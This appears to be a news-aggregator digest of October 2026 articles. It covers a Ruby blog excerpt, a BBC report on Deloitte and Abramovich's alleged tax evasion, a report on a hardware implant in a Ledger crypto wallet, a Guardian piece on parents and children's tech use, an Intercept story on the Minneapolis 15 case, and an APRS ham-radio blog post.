That is the abundance of software everyone keeps talking about, and it has reached our toy little language too. I can’t tell you whether these are new people or the same people on a hot streak - the data doesn’t know, and neither do I - but twice as often, the thing someone needed got packaged and published rather than shrugged off with The Spell Of Dread. Make of the quality what you will - some of it is garbage, some of it is herringbone , and I will let you decide which is which - but the decision to build the thing at all is being made twice as often as a year ago. That is the renaissance I am talking about.

No excuses

And it is not only libraries. Performance is a superb topic to tackle. The work Sam Ruby is doing on his Roundhouse cross-compiler is formidable, and can get us faster-running applications with some wild brute-force optimizations nobody thought possible. Tobi goes in and redoes Campfire with vanilla Ruby instead of Rails - Falcon, Ractors, plain modules over SQLite, byte-identical HTML - and gets pages served 15 to 27 times faster…

And all of that makes life better for everyone doing Ruby and Rails, today. Not “in a year when LLMs will catch up” or “your CISO finally approves GitHub Copilot”. Not “in a few months once we have our governance strategy figured out”. Today.

We can literally go and fix the stuff that was extremely annoying for years, quickly, for relatively modest amounts of money.

The only thing we need is to be even moderately curious, instead of waiting for permission. Nobody in Berlin in 1925 was waiting for the Kaiser to come back and approve the cabaret - the Kaiser had retired to the Netherlands, and the cabaret was better for it.

We have work to do. He doesn’t:

Sir, I'm already rich. The last thing I want is more customers 😂

August 19, 2026

Deloitte falsified documents to evade tax on Abramovich's wealth

Hacker News
www.bbc.com
2026-10-12 06:21:27
Comments...
Original Article

James Oliver ,

Rory Tinman , BBC Panorama ,

Harriet Agerholm , BBC Verify and

Simon Lock , the Bureau of Investigative Journalism

Watch: The documents that were falsified to allow Roman Abramovich to evade tax

The world's biggest accountancy firm helped in falsifying documents to hide Roman Abramovich's wealth and evade tax, BBC Panorama has found.

Accounts signed off by Deloitte in Cyprus meant assets such as superyachts, mansions and private jets worth $672m (£508m) vanished from Abramovich's company accounts.

Deloitte also appears to have advised on a scheme to evade a huge tax bill on the oligarch's wealth through the falsification of documents.

Barrister Andrew Mitchell KC, an expert in financial services law, said Panorama's evidence showed the scheme was "straightforward" tax evasion and "it couldn't be more blatant".

Roman Abramovich's lawyers said he denies that he evaded tax or concealed his fortune. They said Panorama provided no evidence he knew about, authorised or directed the falsification of any document and said it was legitimate to rely on advice from professionals.

Deloitte Cyprus said it "acts in compliance with applicable laws".

The findings are being revealed following a joint investigation between BBC Panorama and the Bureau of Investigative Journalism.

For nearly two decades, Roman Abramovich was the most famous Russian oligarch in the UK, welcomed in London where he bought Chelsea Football Club in 2003 and bankrolled the club's most successful period. But after Russia's full-scale invasion of Ukraine in 2022, he was sanctioned by the UK government as an associate of President Vladimir Putin and forced to sell the club.

Abramovich has been reported to be living in Turkey, a safe haven for him because it did not apply sanctions. In the Channel Island of Jersey, £5.4bn of his assets remain frozen and a criminal investigation has been going on for four years.

The oligarch's lawyers told the BBC he denies the allegations in the Jersey investigation and says it was "undertaken for political purposes".

Our investigation has uncovered new evidence about the way Abramovich's business empire has been run. It also raises serious questions about the integrity of some of his professional advisers.

Getty Images A composite image with four sections showing Chateau de la Croe, a white neo-classical villa surrounded by cypress and other trees; the Pelorus, a white super-yacht; the Fyning Hill estate viewed from the air, showing a large mansion with half-timbering; and Le Grand Bleu, another superyacht with a navy blue hull. Getty Images

Chateau de la Croe (top left) in the south of France, Fyning Hill in Sussex and two superyachts vanished from company accounts

The evidence is contained in a leak that includes thousands of documents about the oligarch's finances and the operations of a network of offshore companies administered from Cyprus - which used to be a tax haven popular with Russians - between 1995 and 2022.

In 2022, Panorama also reported on how Abramovich had made his fortune from a corrupt deal to buy a Russian state-owned oil company in the 1990s, selling it back to the government a decade later for billions in profit. He has previously said allegations of corruption in the deal are false.

The profits from Abramovich's oil deals in Russia were funnelled into a web of offshore companies. They were administered from Cyprus by a corporate services firm called MeritServus, in Limassol, the island's second-largest city.

Until 2005, Deloitte - now the biggest of the "big four" firms which dominate the accounting industry - owned MeritServus. After they split, the two companies worked closely together with Abramovich's associates to manage his global fortune.

The leaked documents from MeritServus reveal some of their practices.

Our first example of backdated paperwork comes in 2006, after a new law in Cyprus meant that company accounts had to be made public. The new transparency law threatened to expose the secrets of Abramovich's vast wealth.

Deloitte Cyprus had prepared draft accounts for 2003 - but had not yet finalised them - for his Cypriot company Amiscan Investments. The accounts detailed $672m of luxury property.

A mansion in West Sussex, a luxury flat in London and an estate in the south of France were all included - plus helicopters, private jets and a small fleet of boats the oligarch owned at the time, including the $147.5m Pelorus.

A view of Deloitte's offices in Limassol, Cyprus, looking up at a tall, curved building in honey-coloured stone and tinted glass, with blue sky above and a sunburst of reflected light at the bottom of the image.

Deloitte in Cyprus appears to have advised Abramovich's company on a scheme to evade tax

To keep them secret, Abramovich's associates and Meritservus decided to rewrite history. They drew up a plan to circumvent the transparency law by transferring the assets to Amiscan's parent company in the British Virgin Islands (BVI), where they could be kept hidden. And they backdated the change by three years to make it look like the asset transfer had happened in 2003.

Deloitte Cyprus reviewed the backdated documents and said they were "adequate" to allow them to remove the assets from Amiscan's accounts.

When the 2003 accounts were signed off by Deloitte in 2006, the homes, planes and yachts disappeared at the stroke of a pen. Only $75,000 of assets remained.

Deloitte signed off the accounts even though the leaked documents show it knew they were completely misleading.

Lord Sikka, professor of accounting at the University of Sheffield, said it was a "violation of a statutory duty" and "pretty scandalous" to misrepresent transaction dates and not to publish true and fair accounts.

Panorama also found evidence that backdated documents had been used in a tax evasion scheme.

This involved another one of Abramovich's Cypriot companies, Kravin Investments, which had almost $2bn in the bank in 2003.

It had been earning large amounts in interest, so Roman Abramovich's company should have been paying tax on that interest to the Cypriot authorities.

But his advisers had another idea to rewrite history.

An email from MeritServus in August 2005 to Abramovich's Russian associates said a plan had been devised after a meeting with Deloitte. "If you agree, it will be necessary to change the financial statements and the accounting records accordingly for 2003 and 2004," the email read.

MeritServus informed the oligarch's Russian associates, that Kravin's "Provisional Tax Assessments for 2005" would be filed showing the company earning no income from the money.

A month later, an associate in Russia emailed in response, "I agree".

MeritServus then created a series of backdated documents which falsely purported to show that Kravin was only holding and investing the funds on behalf of its parent company in the BVI.

This made it look like Kravin did not actually own the money, so it would not be liable for tax in Cyprus.

A graphic titled "advisers discussed backdating records to evade tax", which shows an email with names redacted, dated 24 August 2005, with a highlighted extract. It reads: “If you agree, it will be necessary to change the financial statements and the accounting records accordingly for 2003 and 2004.”

Deloitte wrote in a September 2005 email that "certain changes will have to be made to the accounts (bank account balances, interest income, profit and loss account)" because of the backdated changes to Kravin's assets.

So Deloitte was apparently advising on the falsification of financial records. The evidence suggests it allowed Abramovich's company to evade millions in tax.

Andrew Mitchell KC told us the scheme was "straightforward" tax evasion. "If it happened in England and it was in the millions, His Majesty's Revenue and Customs would be thinking about a prosecution," he said.

Cypriot MP Christos Christofides said that if tax had been evaded, then "we have to see how we can get our money back and how, if some people are guilty, they have to pay the price according to our law."

In addition to the documents which Deloitte helped to backdate, Abramovich's advisers at MeritServus falsified a third set of records. This involved the oligarch's huge business fortune - more than $10bn - held by a company called Electus Investments in Cyprus.

MeritServus backdated documents to make it look like Electus did not own the fortune.

It used another Abramovich company with exactly the same name of Electus Investments, but this time based in the more secretive BVI, where accounts did not have to be made public.

Emails show that in 2006, MeritServus acknowledged that the fortune was owned by Electus Cyprus. But again it proposed to rewrite the past, this time "to transfer the beneficial ownership to Electus Investments in the BVI" and make it look as though the change had happened three years earlier.

MeritServus signed and backdated documents which falsely purported to show the BVI company had owned the $10bn fortune since 20 November 2003. So when the accounts of the Cypriot company with the same name were made public, it appeared to have assets worth just $145,000.

Roman Abramovich's billions had been made to disappear.

A graphic titled “Transfer of $10bn of assets was falsely backdated”. An email with names redacted, dated 25 April 2006, is displayed with a highlighted extract. It reads: “Therefore, we need in November 2003 to transfer the beneficial ownership of the BVI Holding Companies to Electus BVI.”

Andrew Mitchell KC told Panorama: "What you take away from it is there are professionals who are prepared to bend and break the rules of their profession and therefore the law. And it looks that they will stop literally at nothing in terms of creating documents."

Vladimir Milov, Russia's deputy minister of energy as Abramovich built his empire and now a critic of the Russian government, said: "For each Russian oligarch or Middle Eastern or African corrupt oligarch, there's an army of Western financial and legal services and PR services providers, who is easily taking money for whitewashing their reputation and making them look normal."

Denying any wrongdoing by the oligarch, Roman Abramovich's lawyers said that he was "not involved in the day-to-day operation of those companies" and that where arrangements were proposed by professional advisers, "reliance on that advice was entirely proper and legitimate".

Deloitte Cyprus said it could not comment on the specific allegations because the documents were more than 20 years old and no longer accessible.

MeritServus closed following the Cyprus Confidential leak.

A thin, grey banner promoting the News Daily newsletter. On the right, there is a graphic of an orange sphere with two concentric crescent shapes around it in a red-orange gradient, like a sound wave. The banner reads: “The latest news in your inbox first thing.”

Get our flagship newsletter with all the headlines you need to start the day. Sign up here.

Linus Torvalds Working On A Hefty Linux Kernel Improvement With Claude Code

Lobsters
www.phoronix.com
2026-10-12 06:11:29
I personally am not happy about this, the last place I want AI to touch is my Linux. Comments...

Ledger confirms hidden chip in crypto wallet amid $92M theft claims

Hacker News
crypto.news
2026-10-12 06:09:37
Comments...
Original Article

Ledger has confirmed finding an unauthorized hardware implant inside one customer’s cryptocurrency wallet during its October 10 investigation into reported thefts involving Southeast Asian reseller CryptoBilis, as blockchain researchers estimate suspected losses exceeding $86 million.

Summary

  • Ledger confirmed an unauthorized hardware implant inside one affected customer’s device during its CryptoBilis investigation.
  • CryptoBilis suspended sales of all hardware wallets while Ledger investigates reported losses involving Asian customers.
  • Ledger advised customers with CryptoBilis devices against setup and recommended fresh recovery phrases for others.
  • Researcher Mark Karpelès reported finding suspicious electronics behind a Ledger Nano X screen in Malaysia.
  • Bitquery estimated $92.9 million in cryptocurrency losses across 311 wallets, figures unconfirmed independently by Ledger.

Ledger Support confirmed the discovery in an official statement, saying the modified device belonged to a user affected by the ongoing investigation. The company said CryptoBilis had stopped selling all hardware wallets as a precaution and that Ledger was contacting affected customers while working with authorities. It has not established whether the implant caused the reported cryptocurrency losses.

Situation Update: Ledger can confirm that one of the impacted users’ devices contained an unauthorized hardware implant. Ledger is reaching out to impacted users as part of the ongoing investigation. If you have information regarding the investigation, please reach out to…

— Ledger Support (@Ledger_Support) October 10, 2026

The discovery provides direct confirmation of physical tampering in at least one device, following earlier warnings about suspicious wallets distributed through the reseller.

Ledger confirms unauthorized implant in customer’s wallet

During its investigation, Ledger identified an additional electronic component inside a wallet belonging to an affected customer.

The company described the component as an “unauthorized hardware implant” but did not disclose the exact device model, how the component was installed or whether it had transmitted any information.

According to Ledger’s October 10 statement, its security team is examining the incident and contacting customers believed to have been affected. The manufacturer has not confirmed how many wallets contain similar modifications.

Reports of unauthorized transactions emerged on October 9 among customers who purchased Ledger products through CryptoBilis, a reseller operating in Indonesia, Malaysia and the Philippines. Following the complaints, Ledger opened an investigation into the reported losses and asked the distributor to suspend sales and shipments of its devices.

A subsequent report from The Block said on-chain investigators had initially identified suspected thefts exceeding $72 million, while another estimate placed the losses above $86 million.

Ledger has not confirmed either amount. The company emphasized in its latest statement that it has found no evidence suggesting its internal security infrastructure, systems or services were compromised.

“We have no indication that Ledger’s security infrastructure, systems or services have been compromised,” the company stated.

The manufacturer is developing additional protections against physical device tampering while investigators work to determine how the unauthorized component entered the affected wallet.

CryptoBilis halts all hardware wallet sales during investigation

Following Ledger’s discovery, CryptoBilis confirmed that it had suspended sales of its entire hardware wallet inventory.

The temporary halt covers all hardware wallet products sold by the distributor, extending beyond the earlier request to pause Ledger sales and shipments.

According to an October 10 report from TokenPost, CryptoBilis will maintain the suspension until the investigation concludes.

Ledger said it remained in active communication with the reseller regarding the investigation and appropriate next steps. Customers who purchased a device through CryptoBilis have been instructed not to begin setting it up if they have not already done so.

For customers who have used the devices, Ledger recommends considering a transfer of their cryptocurrency to a new hardware wallet initialized with a completely new recovery phrase. Moving an existing recovery phrase onto a replacement device would not address possible exposure of that phrase through the original hardware.

The company further requested information from anyone with relevant evidence and directed security researchers to its bounty program at [email protected] . Ledger has contacted law enforcement and acknowledged assistance from the Security Alliance’s SEAL_911 incident response initiative.

The company’s statement did not identify any suspects, announce arrests or provide a timetable for completing the investigation. Separately, former CryptoBilis executives Arravind Prabu and Vimalatheethan stated that they had transferred operational control of the business following an ownership change earlier in 2026.

In a statement shared with researcher Mark Karpelès and published by Tibane Labs, the former executives said they completed their management handover in March and no longer controlled company systems or customer databases.

Their statement does not establish who modified the affected device or whether the ownership change had any connection to the incident.

Security researcher reports hidden electronics behind Ledger screen

Before Ledger publicly confirmed the hardware implant, former Mt. Gox CEO Mark Karpelès reported examining a suspicious Ledger Nano X device obtained from Malaysia. On October 9, Karpelès described finding an additional electronic component hidden behind the device’s display, inside material normally used to protect the screen.

He reported that the wallet had arrived in packaging that appeared intact, raising questions about whether customers could identify a modified device through a routine visual inspection. In photographs shared publicly, the component appeared to contain electronic circuitry separate from the wallet’s original hardware.

Karpelès subsequently reported examining the modification further and inspecting images provided by other affected users.

A technical account published by Tibane Labs described an arrangement involving a microcontroller, cellular communication hardware and connections to the screen’s internal data lines. The analysis suggested that a component positioned along the screen connection could potentially capture information displayed during wallet setup.

A recovery phrase typically consists of 24 words that allow a wallet owner to restore access to cryptocurrency holdings. If an attacker obtains those words, the attacker may be able to recreate the wallet and authorize transfers without possessing the original hardware device.

Researchers have suggested that an implant capable of reading information sent to the display could potentially capture recovery words when a wallet is initialized.

However, Ledger has not independently confirmed that the discovered implant performed that function or that it was responsible for the reported thefts.

The company’s official announcement confirms physical tampering in one affected device without establishing the technical method used to access customer funds. Ledger’s historical security research has previously examined situations involving unauthorized modifications to wallet hardware.

In a 2018 security response , the manufacturer discussed how attackers with physical access could modify a wallet and use additional electronics to interfere with its operation. The earlier research concerned different attack scenarios and did not establish a connection to the CryptoBilis investigation.

On-chain researchers estimate millions in suspected thefts

As investigators examine the affected hardware, blockchain analytics researchers have attempted to calculate the value of cryptocurrency moved from suspected victim wallets.

In an October 9 investigation, Bitquery estimated that approximately $92.9 million had been removed from 311 wallets across Bitcoin, Ethereum, TRON, BNB Chain and Polygon.

The estimate exceeded earlier reports of suspected losses ranging from $72 million to more than $86 million. Bitquery attributed the difference to additional wallets and blockchain networks included in its analysis. Its researchers reported that the largest portion of the suspected losses involved USDT transactions on TRON, followed by Bitcoin and Ethereum transfers.

The report identified approximately $70.5 million in assets transferred from TRON wallets and $16.8 million in Bitcoin. Using transaction timing and address relationships, Bitquery argued that the activity was consistent with an attacker already possessing control over multiple wallets.

The research company identified closely timed transactions across several networks and examined where the transferred assets subsequently moved. Bitquery reported that approximately $10 million in USDT had been frozen in addresses linked to the suspected thefts.

It further identified transactions involving cryptocurrency swaps and transfers to Tornado Cash, a service used to obscure the transaction history of digital assets. The analysis remains an independent assessment. Ledger has not confirmed Bitquery’s estimated losses, number of victims or conclusions about the attacker.

More recent on-chain reporting from PublicAML described additional movements involving suspected stolen Ether on October 10, including transfers to Tornado Cash. The analysis estimated that 900 ETH reached Tornado Cash during another series of transfers, although the researchers’ wallet attribution and loss calculations remain separate from Ledger’s confirmed findings.

Ledger urges users to protect recovery phrases

Ledger’s investigation has prompted warnings about the possibility of criminals exploiting public concern surrounding the reseller incident. The company cautioned customers to rely on official communication channels for information about affected devices, investigations and potential security measures. Its public statement reminded customers that Ledger support personnel will never request their 24-word recovery phrase.

Earlier research into fraudulent Ledger websites documented phishing pages that attempted to obtain recovery phrases through fake wallet verification requests.

The report, published October 11, discussed malicious Google advertisements that directed users toward imitation Ledger websites and applications. The phishing campaign has not been linked to the CryptoBilis hardware investigation. In its latest notice, Ledger said it was preparing additional measures intended to make unauthorized physical modifications harder to carry out.

The company did not announce a release date for those protections or provide details of any hardware redesign. For customers seeking guidance, Ledger directed inquiries to its official support website at support.ledger.com .

Its security team said affected users would continue receiving direct communication as the investigation proceeds, while information about the incident can be submitted through its bounty program.

‘I’ve become significantly more cautious’: six parents on limiting their kids’ social media and AI use

Guardian
www.theguardian.com
2026-10-12 06:00:51
Quite a few parents aren’t convinced social media and AI are safe, and have been adapting accordingly When it comes to their kids, many parents don’t trust tech companies any more. Social media companies have spent the better part of the last decade arguing that their platforms are safe for teens, b...
Original Article

When it comes to their kids, many parents don’t trust tech companies any more.

Social media companies have spent the better part of the last decade arguing that their platforms are safe for teens, but quite a few parents aren’t convinced. They, along with a growing number of regulators, have increasingly accused companies like Meta of designing products that are addictive to younger users.

AI firm OpenAI, thrust into the public consciousness much more recently than Meta, has had to defend against dozens of lawsuits alleging chatbot ChatGPT lacks safety guardrails. Now, workers at the world’s leading AI firms have warned that their employers prioritize competing with each other over building their models safely.

Both the AI and social media companies have denied the claims, and introduced additional safety measures such as parent-linked teen accounts .

Still, for many parents, lawsuits and public accusations have been enough to change their minds about whether to allow their children to use both social media and AI.

The Guardian asked parents whether their perspective on their children’s use of social media or AI has changed in the last year and whether they plan to let their kids use either technology. The vast majority of those who responded said they no longer wanted their children to use social media, and many of them said they also try to steer their children away from AI.

“They are the most precious thing in my life,” Caroline Gray Ford, a 42-year-old parent from Cambridge, UK. “So why would I ever turn them over to a bunch of tech companies whose sole motivation is to profit from their time and harvest their data?”

The tech worker who feels torn between two worlds

I work in tech, specifically in the AI sphere, and honestly I worry about the future that’s going to be there for my kids. Not in a doomsayer way, but, being realistic, the world is going to be a very different place when they grow up. I’m torn between two worlds – the world I work in, and that supports their upbringing, and the knowledge that the very work is destroying their future – whether that be on an economic or environmental level.

Do I feel the need to encourage them to use AI? Yes. Do I want to? No. On the flipside, social media is out. They can use WhatsApp to connect and build real-world relationships. But otherwise no good can come of it.

– Andy, 43, London, UK

The recent major lawsuits against Meta, along with decisions by non-US governments to limit social media use for under-16s, have enabled me to have meaningful conversations with my daughter about the real risks of social media use for her age group. She still asks to use these products (they aren’t limited in the US), but I remind her of the decisions we’ve made, together, to wait until she’s older before she can use them.

My 11--year-old is not permitted to use social media on her own. As for AI chatbots, she may occasionally use them if they show up on a Google search when we are looking up a topic, but I encourage her to check the validity of anything AI-generated. She’s very aware of AI hallucinations, and hates AI images. She will actually call me or her older sister out if we accidentally share an AI-generated image.

Our family is very eco-conscious – we’re aware that AI uses massive amounts of water and energy, so we try to avoid AI apps as a family, if there are other options at our disposal to obtain information.

– Kate, 47, Philadelphia, Pennsylvania

The parent who works in AI and is worried about how their kids are exposed to technology in school

My perspective has become significantly more cautious.

As a parent and someone who works in AI, I’m increasingly concerned about the gap between the way these technologies are marketed and the risks they can pose to children. I want my daughter to grow up understanding and using technology, including AI, but I don’t think children should be treated as unwitting test subjects for products whose effects on their learning, development and wellbeing are not yet fully understood.

What’s particularly concerning is how early these tools are being introduced through schools, often with little meaningful parental involvement or choice. I’m increasingly questioning whether companies are prioritising children’s interests or engagement and profit, and whether schools and local authorities are doing enough to scrutinise the technology they’re putting in front of children.

I don’t think children are being adequately educated about how to use these tools safely or critically. There’s a huge difference between teaching children how to use technology and simply putting devices and apps in front of them.

But I also think the responsibility shouldn’t fall solely on parents. Schools and local authorities need to ensure that children are being taught digital literacy and critical thinking alongside the introduction of these tools.

– Anonymous, Scottish borders

skip past newsletter promotion

The frustrated parent who feels government isn’t doing enough

It’s made me really angry to be honest. I was already keeping my kids away from the internet as much as I could but the lack of action from government has left me feeling really frustrated and determined to be stricter with what my kids will be able to use and when. I’m also funnelling some energy into campaigning on this issue.

[They] absolutely [cannot use] social media and never chatbots. Why would I give them something that could make them mentally ill and/or lead to cognitive decline?

They should be educated on the danger and told to stay away, not told to “use them safely”. Is there a safe way for them to smoke??

– Anonymous, Kent, UK

I have been skeptical about social media and AI since the beginning. I see in my 12-year-old son the obsessive grip that social media has on him. I include videogaming here, as it comes with YouTube influencers, and interaction with others on Discord servers. It is shaping his childhood and worldview in a way that I don’t like. I’m particularly concerned about digital media crowding out IRL activities that help him grow as a person and understand the world – like reading, exploring, playing with other kids face-to-face ...

My son has been given a Chromebook at school (no choice given to parents), and has a laptop for gaming, with time limits. Managing his screen time is a cat-and-mouse game that everyone hates at home. He has found ways of circumventing restrictions as only a creative child can. He is unable to control his impulse to go on his devices – that’s difficult enough for adults, let alone a child. The lack of guardrails and regulation of children’s access to digital technology means that millions of individual households have to manage and set the rules themselves. It’s stressful and poisons the atmosphere at home.

– Anonymous, Madrid

Smiling woman with glasses and long hair sitting at a table in backyard, using scissors on a project.
Caroline Gray Ford, who doesn’t want her kids to use social media or AI. Photograph: Caroline Gray Ford

The risks of social media and AI far outweigh any benefits, and the evidence of harm is all around us. I find it staggering that we have allowed ourselves to sleepwalk into this current situation, where truly hideous online experiences are now so normalised.

I am, however, very hopeful that we are at the beginning of major culture change. Most of my parent friends are in agreement that collective action is the best way forward; many of us have agreed to delay smartphones and social media and we feel our lives will be easier for it.

The big tech business model will never change, which is why I think it is so important for families to come together. We can’t afford to wait for these companies to change. As long as there is money to be made, children will continue to be exploited for profit; it is truly nefarious. We will look back on this time and wonder what the hell we were thinking.

– Caroline Gray Ford, 42, artist and regional leader for Smartphone Free Childhood , a grassroots movement of families coming together to delay the use of smartphones and social media

Guilt Is Not An Organizing Strategy

OrganizingUp
convergencemag.com
2026-10-12 06:00:14
Featured image by Jared Rodriguez White Flank: Organizing White People for Racial Justice by Chandra Russo, Stanford University Press, 2026 Disclosure: This post contains affiliate links to Convergence’s Bookshop. 10% of purchases made through our bookshop support our movement media work. James Trac...

Trump Wanted Minneapolis 15 Case to Be Another Prairieland. Instead, Twin Cities Rallied Behind Anti-ICE Activists.

Intercept
theintercept.com
2026-10-12 05:00:00
The mainstream of Minnesota’s left-of-center politics — including unions, the backbone of Democratic power — are behind the radical left. The post Trump Wanted Minneapolis 15 Case to Be Another Prairieland. Instead, Twin Cities Rallied Behind Anti-ICE Activists. appeared first on The Intercept....
Original Article

As the Trump administration unveiled an indictment earlier this year against 15 anti-ICE activists, many of whom identify as radicals, for purportedly tormenting federal agents last winter, a top U.S. Immigration and Customs Enforcement official took the podium.

There were two types of protests, said Homeland Security Investigations special agent in charge Michael McCarthy, who oversaw the ICE agents in a St. Paul, Minnesota, field office who conducted the investigation.

“Peaceful protest is a protected right, and a cornerstone of our democracy,” said McCarthy. “When protest turns into rioting, violence or criminal activity, it becomes unlawful and it will not be tolerated.”

McCarthy’s comments stood in stark contrast with ICE’s record in Minneapolis, where a federal judge had been forced to issue an injunction to stop federal agents from pepper-spraying and arresting peaceful protesters during their enforcement blitz, dubbed Operation Metro Surge .

Legal experts, too, had criticisms of the indictment: The Justice Department, one pointed out , had concocted a federal conspiracy out of what would normally be misdemeanor charges.

In the months since, criticisms of the case have only grown louder. Court filings revealed that McCarthy’s agents secretly infiltrated groups that preach nonviolence , including labor unions and nonprofits. They also wielded subpoenas in a fruitless hunt for financiers of “domestic terrorism,” taking a cue from President Donald Trump’s National Security Presidential Memorandum-7 labeling swaths of the far left as terrorists .

The Trump administration has won some success in going after left-wing protesters under NSPM-7, but the Minneapolis case is proving to be more challenging.

In other prosecutions targeting activists, like the Prairieland case in Texas , mainstream groups have shied away from supporting the defendants. In Minnesota, though, groups once wary of being associated with the 15 defendants, many of whom are self-described anarchists, have rallied to their side.

Powerful labor unions that make up the backbone of the state’s progressive movement have raised funds on behalf of the defendants, incensed at the infiltration from federal undercover agents. Rather than dividing and conquering the left, the case has united it.

“They’re trying to split the movement and absolutely failing.”

Supporters of the defendants, who have collectively come to be known as the Minneapolis 15, recently packed a bowling alley for a fundraiser. On October 3, hundreds of labor union members marched through downtown Minneapolis, demanding that the charges against the activists be dropped.

Meanwhile, the defendants themselves have so far mounted a unified, joint defense; none of them have taken a plea deal.

“They’re trying to split the movement and absolutely failing,” said Emmett James Doyle, a defendant in the case. “There’s been just complete solidarity behind us from basically every sector of Twin Cities life.”

“Can’t Indict 100,000 People”

Doyle’s ruddy face and wild beard would have been at home in Big Bill Haywood’s Industrial Workers of the World a century ago. By day he’s a union carpenter, by night he plucks a banjo and sings songs about America’s radical past.

Federal prosecutors allege that he brought those songs to life on the streets of Minneapolis.

In a 94-page indictment, prosecutors claim that Doyle and the other 14 defendants were members or associates of a group called Direct Action Minnesota that “infiltrated and exploited lawful protests” to target ICE.

Prosecutors painted a dark picture of DAMN. Their tactics allegedly included blocking access to a federal building used by ICE with disabled cars or trailers, bringing shields and gas masks to protests, and, in one instance, following an ICE agent across state lines to his home in Wisconsin.

Government attorneys also leaned heavily on the defendants’ comments to each other in private messages about their frustration with more mainstream protesters and the need for “militant” action.

Despite the prosecutors’ claims about rioting and violence at the June press conference, however, the top federal prosecutor in Minnesota, U.S. Attorney Daniel Rosen, was unable to identify injuries to federal officers when reporters pressed him.

There are committed anarchists among the defendants charged in the indictment, several defendants told The Intercept, but there was little difference between what they did and what thousands of Minneapolis residents did during the federal immigration crackdown.

Ordinary Minnesotans walked frigid streets with whistles dangling from their necks to alert their neighbors about ICE raids. They sent license plate numbers of federal vehicles to Signal group chats. Members of rapid-response networks trailed suspected agents in their cars.

The indictment is replete with examples of protesters trailing agents in vehicles, a tactic known as “commuting.” Yet that was a tactic so widely employed by rapid-response groups in Minneapolis that it was even adopted by a congressional candidate in a suburban district who recently won his Democratic primary.

“I think there are people in the government who really do believe that there is like a small cabal of people who are fomenting all the dissent, and if you get rid of them, that everyone will be quiet,” Doyle said. “And that’s fundamentally wrong.”

Doyle, like the four other defendants interviewed by The Intercept, declined to discuss the specific allegations in the indictment, citing advice from his attorney.

“They’re just trying to find people to make examples of.”

Still, another defendant, Treasure Thoreson, was adamant that none of the defendants ever used violence. Thoreson is a special education teacher whose elementary school’s lanyard was still dangling from her neck during a recent interview. She believes the group was targeted because of its radical views.

“They clearly had people that they had identified as problematic in some way and have been trying to tie these people to leading the resistance,” Thoreson said. “They can’t indict 100,000 people, so really, they’re just trying to find people to make examples of.”

“Attack on the Movement’

Thoreson said she has received steady support from her teachers union since the indictment.

She and many other defendants believe the charges against them are a way of attacking Minnesota’s powerful labor movement. By the count of defendants who spoke to The Intercept, at least 11 of the 15 have been involved in union organizing.

The internal Homeland Security Investigations files unearthed by the defense team lend credibility to this theory. Undercover agents attended an organizing meeting at the United Labor Centre, a building that houses multiple unions. HSI, the investigative wing of ICE, also subpoenaed the financial records of the SEIU and the Communications Workers of America as part of an overlapping probe into “domestic terror financing.”

Several defendants interviewed by The Intercept were amused at the idea that they were receiving funding from mainstream organizations. They have long lobbed critiques at the labor movement’s institutional core from its fringes.

After some initial hesitance, unions and nonprofit groups responded in force to the case. Days after the indictment, some labor groups signed onto a joint statement denouncing the charges. After a court filing from the defendants revealed the subpoenas of the unions’ financing, more labor organizations raised their voices.

“Generally speaking, the labor movement is awfully conservative — too conservative — on issues like this, and can sometimes be scared out of solidarity with people who are fighting back,” said Kieran Knutson, the president of CWA Local 7250 in Minneapolis.

More unions rallied, Knutson said, as it became clear that prosecutors could not point to examples of physical harm, as union locals pressured statewide organizations, and as the defendants themselves articulated why the case was important.

“These are active people in the labor movement, and I think in many ways people see them as an expression of the movement as a whole,” Knutson said. “And these charges were an attack on the movement as a whole.”

Knutson said he knows the value of solidarity: In 1993, he was charged with assaulting a man wearing neo-Nazi patches during an antiracist demonstration on the University of Minnesota campus, according to news reports from the time. He was acquitted with the help of attorney Keith Ellison, who later went on to win election as the state’s attorney general.

“I know what it’s like to have the weight of the charges just hanging over you,” Knutson said.

The leading candidate in the Hennepin County Attorney race , state Rep. Cedrick Frazier, who also works as a lawyer for labor union Education Minnesota, told The Intercept in a recent interview that the charges should be dismissed.

“I think they’re trying to, for lack of a better word, ‘Trump’ up some charges to continue his pursuit of retribution against Minnesota,” said Frazier. “I mean, look, they don’t like labor groups.”

A broad coalition of labor groups including the state AFL-CIO endorsed an October 3 rally and march in support of the defendants, another sign that skepticism of the case has gone mainstream.

Hundreds of janitors, teachers, public employees, and hospitality workers joined the march, said Isaac Sant, a defendant and longtime labor organizer. He said seeing them on the streets was “humbling.”

Sant recently joined defendants from other cases with political overtones, including Prairieland, to form what they are dubbing the NSPM-7 Defendants Union .

“I can only speak for myself, but I don’t have any problem linking my case to the Prairieland cases. I think what happened to them was a travesty and a miscarriage of justice,” Sant said. “I think it’s very important that we stand in solidarity with people who are in that position, and especially with people who are getting railroaded even worse than we are.”

Linux boots on iPhone 11

Lobsters
www.patreon.com
2026-10-12 04:59:03
Comments...

PK-88 TNC Hardware Modifications

Lobsters
blog.thelifeofkenneth.com
2026-10-12 04:54:26
Comments...
Original Article

PK-88 digipeater

As is typical for stories on here, through a long series of events I ended up in kind of the perfect position to build APRS infrastructure supporting Northern California. On the APRS side, I had (more than a freaking decade ago now!) put together my Masters thesis on APRS and the protocol design of it. While working on that, I played around with a few different Terminal Node Controllers, which are essentially APRS’ version of external modem (plus optionally a lot of the network protocol intelligence as a historical artifact of the early days of packet radio pre-dating the ubiquitous home personal compute). I had developed affection for the AEA PK-88 in particular for a few reasons; primarily that its modem performance seemed quite good in testing, the circuity is Z80 based and well documented, and finally that with a little patience obtainable on eBay for less than $50.

On the Northern California side, I’ve gotten to know several of the repeater infrastructure folks who own and/or operate radio sites and/or repeater systems. Most notably, the Salinas Valley Repeater Group has been particularly keen on building out radio infratructure in the area, and tacking an APRS digipeater / Internet gateway onto one of their sites is logistically quite straight forward.

APRS digipeater / I-gates perform two functions for APRS. On the RF side, being a digipeater means that from someplace up high, the station is able to listen for beacon packets from lower level APRS stations and repeat them on the same 144.390MHz channel with higher power and a better antenna to enable other APRS stations in the area to hear them. On the Internet side, as long as the station has an Internet connection, all decoded packets get sent up into what is called the APRS Internet System (APRS-IS) to enable anyone online to get a comprehensive view of all APRS traffic happening globally. Since APRS is a single channel half-duplex system, you avoid all of the complicated and expensive RF combiner / duplexers needed on regular repeater infrastructure, and it’s very easy to find an idle 144MHz antenna somewhere at the site and hook a digipeater up to it with a single stage bandpass filter to protect my radio from the rest of the radio nonsense going on at a real commercial radio site.

